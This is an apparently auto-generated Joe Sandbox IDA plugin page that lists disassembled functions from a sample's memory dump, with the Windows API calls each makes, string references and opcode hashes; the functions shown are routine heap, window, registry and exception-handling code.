Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: CloseHandle$Heap$FreeMutexObjectProcessReleaseSingleWait
String ID:
API String ID: 1978293137-0
Opcode ID: 5d92a804a7cdd3c70a03551741bb0a171b70d102ae0f26c56e922923a0ec1d88
Instruction ID: c768cc7c643e5f4c8b1be30df02730806a6a16320a08dc817f6763fdb769f364
Opcode Fuzzy Hash: 5d92a804a7cdd3c70a03551741bb0a171b70d102ae0f26c56e922923a0ec1d88
Instruction Fuzzy Hash: 7E31C175200AA59BDB26AF6AD844B2773DAAF91318F55462CF48AC72C1CB30EC01CB24

Function 003F4D00 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 102COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 003F4D89
___std_exception_copy.LIBVCRUNTIME ref: 003F4DBC
___std_exception_destroy.LIBVCRUNTIME ref: 003F4DEF
___std_exception_destroy.LIBVCRUNTIME ref: 003F4E0B

Strings

0q>, xrefs: 003F4D91, 003F4DD2
@ >, xrefs: 003F4D60, 003F4DAF, 003F4DE4, 003F4E03

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: ___std_exception_copy___std_exception_destroy
String ID: 0q>$@ >
API String ID: 2970364248-3763285519
Opcode ID: ac12285b465ced2d03091c0ee4ad146dbef5e28358423164c83f1ea412dd8369
Instruction ID: 52d9a980ac4228ffde9dc38c7b24868e9379e9e1f46a84c6509b6b0bc5ded343
Opcode Fuzzy Hash: ac12285b465ced2d03091c0ee4ad146dbef5e28358423164c83f1ea412dd8369
Instruction Fuzzy Hash: A141AEB0E0034D9BDF11CFA4D885BEEBBB4BF48308F24422EE515A7241EBB95945CB95

Function 003F2840 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

IsWindow.USER32 ref: 003F2878
MonitorFromWindow.USER32(00000002), ref: 003F288E
GetMonitorInfoW.USER32(00000000,?), ref: 003F28D6
SetWindowPos.USER32(00000000,?,?,000002DA,000001FE,00000004), ref: 003F2912
GetLastError.KERNEL32 ref: 003F2925

Strings

(, xrefs: 003F28CC

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Window$Monitor$ErrorFromInfoLast
String ID: (
API String ID: 3978234620-3887548279
Opcode ID: 6a24ca217ce0d79e67c27634ae0b28d7a9ec8df64da1e56816d0cf5be464a83e
Instruction ID: ac78ed9750f91c4497b344d1b77b477a004c6c1a519ff447b972692804b9cd03
Opcode Fuzzy Hash: 6a24ca217ce0d79e67c27634ae0b28d7a9ec8df64da1e56816d0cf5be464a83e
Instruction Fuzzy Hash: 002106352002009FD3119B25EC2AF2B77A9EBC5714F45863DFA8557190EBB19C11CB9A

Function 003EF090 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 86registrylibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Advapi32.dll,A05DD77D), ref: 003EF0E4
GetProcAddress.KERNEL32(00000000,RegOpenKeyTransactedW), ref: 003EF0FB
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,00000000,A05DD77D), ref: 003EF130
RegCloseKey.ADVAPI32(00000000), ref: 003EF143

Strings

Advapi32.dll, xrefs: 003EF0DF
RegOpenKeyTransactedW, xrefs: 003EF0F5

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: AddressCloseHandleModuleOpenProc
String ID: Advapi32.dll$RegOpenKeyTransactedW
API String ID: 823179699-3913318428
Opcode ID: e90e44cccf9ae82d18f933ca8e6a56a597d2792258881f9a735cbd0215d37f9f
Instruction ID: 1dcfc303c2fc841ebd9b6aa2a2a63e4f2678e78f49ea0d0f8d9c19cc7543ec71
Opcode Fuzzy Hash: e90e44cccf9ae82d18f933ca8e6a56a597d2792258881f9a735cbd0215d37f9f
Instruction Fuzzy Hash: 4B316171A04259EFDB15CF55DC45BABBBB8EB48710F104639F915E7280D7B4A900CB54

Function 00431429 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,A05DD77D,?,00431536,?,?,?,00000000), ref: 004314EA

Strings

ext-ms-, xrefs: 00431494
api-ms-, xrefs: 00431480

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 57b9ef3e82dc7e7c84475f0e38d427de66db5ffd7e68d036d3f5188ee3b24cf4
Instruction ID: b67ddcd709ffd76ed9c11d9dec0299e3848cd22c091e8148d8ac6bdc8926718c
Opcode Fuzzy Hash: 57b9ef3e82dc7e7c84475f0e38d427de66db5ffd7e68d036d3f5188ee3b24cf4
Instruction Fuzzy Hash: 0021E731A01211B7CB219F61EC45B5B7758AFA6764F251222FD06A73E0EA78ED00C6D9

Function 003F26B0 Relevance: 10.6, APIs: 7, Instructions: 68COMMON

Download Yara Rule

APIs

IsWindow.USER32 ref: 003F26BE
GetWindowLongW.USER32(000000F0), ref: 003F26D4
GetLastError.KERNEL32 ref: 003F26F1
SetWindowLongW.USER32(000000F0,?), ref: 003F2713
GetLastError.KERNEL32 ref: 003F2726
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000027), ref: 003F274A
GetLastError.KERNEL32 ref: 003F275D

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Window$ErrorLast$Long
String ID:
API String ID: 3349814059-0
Opcode ID: ad169c5069168937617b34822b63d35b03d06573a49a94f6e3b18fa7579b0432
Instruction ID: 6a49f90b422fc24aaf49155cfc50a80260ac1f7c2ad900def5dde405a8d45416
Opcode Fuzzy Hash: ad169c5069168937617b34822b63d35b03d06573a49a94f6e3b18fa7579b0432
Instruction Fuzzy Hash: 2911E335644258ABE7227725AC0AB2B3F19E741765F150230FB54851F2EAB28C14866E

Function 004083A0 Relevance: 9.3, APIs: 6, Instructions: 300COMMON

Download Yara Rule

APIs

759783B0.OLE32(00000000), ref: 0040849E
759783B0.OLE32(00000000,?,-00000002), ref: 0040852A
759783B0.OLE32(00000000), ref: 004085C6
759783B0.OLE32(00000000,?,-00000002), ref: 00408698
759783B0.OLE32(00000000), ref: 0040872B
759783B0.OLE32(-00000002,-00000002), ref: 0040875F

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: 759783
String ID:
API String ID: 3308533907-0
Opcode ID: bc4376195842df28560b5221f4cc94db706b8cb2b9cb17dac727634f4e04927f
Instruction ID: 307a3f3e13ac97278003f1885a75dfb276761d1b81388d445c0c1b72fc73cc78
Opcode Fuzzy Hash: bc4376195842df28560b5221f4cc94db706b8cb2b9cb17dac727634f4e04927f
Instruction Fuzzy Hash: F6C19070D0121AEFDB04CF68DA54B9EFBB4BF15304F10826EE854A7391DB79AA44CB94

Function 0041BA30 Relevance: 9.2, APIs: 5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(?,?), ref: 0041BB45
GetLastError.KERNEL32(?), ref: 0041BB51
LocalFree.KERNEL32(00000000,?), ref: 0041BBB7
LocalFree.KERNEL32(00000000,?), ref: 0041BC25
LocalFree.KERNEL32(00000000), ref: 0041BC64

Strings

1.2.840.113549.1.9.5, xrefs: 0041BA76, 0041BB1C

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: FreeLocal$ErrorLast
String ID: 1.2.840.113549.1.9.5
API String ID: 4216857709-925610549
Opcode ID: 39543add12455dab4cfd73ba5d5940706ad4d347c30e9b030b26d6cc3b4b34d4
Instruction ID: 327cbf5ca370525d674217bee7950bf4e12cb719ae96fc60b2cea0672c44f898
Opcode Fuzzy Hash: 39543add12455dab4cfd73ba5d5940706ad4d347c30e9b030b26d6cc3b4b34d4
Instruction Fuzzy Hash: 8971AC75A042098FCB14CF69D8817EEBBB1EF49310F2481AAD841A7341DB3AAD44CBD4

Function 003E29F0 Relevance: 9.1, APIs: 6, Instructions: 77memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 003E2A14
HeapFree.KERNEL32(00000000,?), ref: 003E2A1D
GetProcessHeap.KERNEL32(00000000,?), ref: 003E2A3F
RtlAllocateHeap.NTDLL(00000000), ref: 003E2A46
GetProcessHeap.KERNEL32 ref: 003E2A8B
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 003E2A95

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Heap$Process$Free$Allocate
String ID:
API String ID: 168621272-0
Opcode ID: d1c62de5b9237e6ba5d45555fabd0be752717fe4a3aa779c45c39c73a52e8785
Instruction ID: 829d6712c4d8f8b63f4bd272b0ce0e07ba1f4417b9924b3caeea837744346e5b
Opcode Fuzzy Hash: d1c62de5b9237e6ba5d45555fabd0be752717fe4a3aa779c45c39c73a52e8785
Instruction Fuzzy Hash: 5521087A5012219BDB218F56EC44BA7BB6CFF15335F10423AFA15CB280DB719C11CBA0

Function 00427BA6 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,00427B9D,004271DC,00424333,A05DD77D,?,?,?,00000008,0043E73C,000000FF,?,00402444,00000008,00000008), ref: 00427BB4
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00427BC2
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00427BDB
SetLastError.KERNEL32(00000000,00427B9D,004271DC,00424333,A05DD77D,?,?,?,00000008,0043E73C,000000FF,?,00402444,00000008,00000008,A05DD77D), ref: 00427C2D

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: dbb4ea759f1d86ac83c40dd66327dea335b03d15d7f98e5c6ff0f94cbf2b88ef
Instruction ID: e016f826375f520073410a82cc90b752a98fdac70f20fca12df1a228fb83daad
Opcode Fuzzy Hash: dbb4ea759f1d86ac83c40dd66327dea335b03d15d7f98e5c6ff0f94cbf2b88ef
Instruction Fuzzy Hash: 2A01F13231E3315EA7222BB7BC8596B2A44DB22379BA0023FF210452F1EE6A4C02914D

Function 003F2250 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 222COMMON

Download Yara Rule

APIs

759783B0.OLE32(?,?,?), ref: 003F22E0
SysFreeString.OLEAUT32(00000000), ref: 003F2426
ShowWindow.USER32(00000005), ref: 003F24B7
UpdateWindow.USER32 ref: 003F24DF

Strings

\McAfee\MSSPRes\, xrefs: 003F22E6

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Window$759783FreeShowStringUpdate
String ID: \McAfee\MSSPRes\
API String ID: 2726993354-1001217308
Opcode ID: 7ec9169ba3607473b62ce2f509328a9d0a795c55153cb92bf4c8796288b1ba7b
Instruction ID: f33fbf144ae598b20e141acb5dcc3605e41bf27f7a3b9fd58f57f48eb5ab6fbf
Opcode Fuzzy Hash: 7ec9169ba3607473b62ce2f509328a9d0a795c55153cb92bf4c8796288b1ba7b
Instruction Fuzzy Hash: 1381F3B1E00248EFDB01DFA4DC49BAFBBB5EF44304F148119EA05E7290E7B99A45CB65

Function 003E6F20 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 197COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 003E70AE
___std_exception_destroy.LIBVCRUNTIME ref: 003E7140

Strings

@ >, xrefs: 003E70B9
0q>, xrefs: 003E70F4
@ >, xrefs: 003E707F, 003E7139

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: ___std_exception_copy___std_exception_destroy
String ID: 0q>$@ >$@ >
API String ID: 2970364248-2536544690
Opcode ID: 9f082496251a2a1214bedcf1fca7a80fad79d0c672eb25d47762aed686480c1d
Instruction ID: 4be5c755bc5c0f73fdcc95a7bf7c486c96e925e116adf58b58b3166e996c0156
Opcode Fuzzy Hash: 9f082496251a2a1214bedcf1fca7a80fad79d0c672eb25d47762aed686480c1d
Instruction Fuzzy Hash: 5171D171E002589FDF05DF99D881ADDFBB4FF48310F54822EE804A7282EB75A944CBA5

Function 004186A0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 196COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 004188DA

Strings

gfff, xrefs: 004186DC
gfff, xrefs: 004186F5
gfff, xrefs: 0041886A
gfff, xrefs: 00418719

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID: gfff$gfff$gfff$gfff
API String ID: 118556049-2178600047
Opcode ID: 4d7262547963615829dbf36076158be309bc6ffa61fcb69a0a20be55161f3f32
Instruction ID: 7cdaf9acf6d8c5ab54670419f7ec040f8a9f3c16075b6cf6f2fce0729f454ef2
Opcode Fuzzy Hash: 4d7262547963615829dbf36076158be309bc6ffa61fcb69a0a20be55161f3f32
Instruction Fuzzy Hash: 0A71C2B1A006098FDB08DF59D950AAEB7B1FF88304F24822EE406DB791DB35F951CB95

Function 00413B80 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 188COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00413D9B

Strings

gfff, xrefs: 00413D2A
gfff, xrefs: 00413BD2
gfff, xrefs: 00413BF9
gfff, xrefs: 00413BB9

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID: gfff$gfff$gfff$gfff
API String ID: 118556049-2178600047
Opcode ID: d0286d032bb7a2b3f97adb7a64c81fffb3093487f5b2ec60185f946c08a12ee6
Instruction ID: bd563ef2f8a41af83d2e9c645c13c48e5453d85c61890b27fc4bb0cd522a53bf
Opcode Fuzzy Hash: d0286d032bb7a2b3f97adb7a64c81fffb3093487f5b2ec60185f946c08a12ee6
Instruction Fuzzy Hash: 0361E6B1A005068BD70CDF2DD995AAAB7B1FF88304F14822EE915DB341EB35FA91C785

Function 00409E00 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 160COMMON

Download Yara Rule

APIs

RtlUnicodeToUTF8N.NTDLL(?,00002000,00000000,?,?), ref: 00409E81
RtlUnicodeToUTF8N.NTDLL(?,00002000,00000000,?,?), ref: 00409EED

Strings

<{!truncated!}>, xrefs: 00409F72
`F, xrefs: 00409EF1
`F, xrefs: 00409E8F

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Unicode
String ID: <{!truncated!}>$`F$`F
API String ID: 470584828-3795525384
Opcode ID: 0e467a81dbf682c9254cc2c5aca90d405ba1d9c6bba62a64f992909b970830cd
Instruction ID: ee72081003e0e917e5d4261da7772dea1c5eeeeb5e898e48badfe415b05879fd
Opcode Fuzzy Hash: 0e467a81dbf682c9254cc2c5aca90d405ba1d9c6bba62a64f992909b970830cd
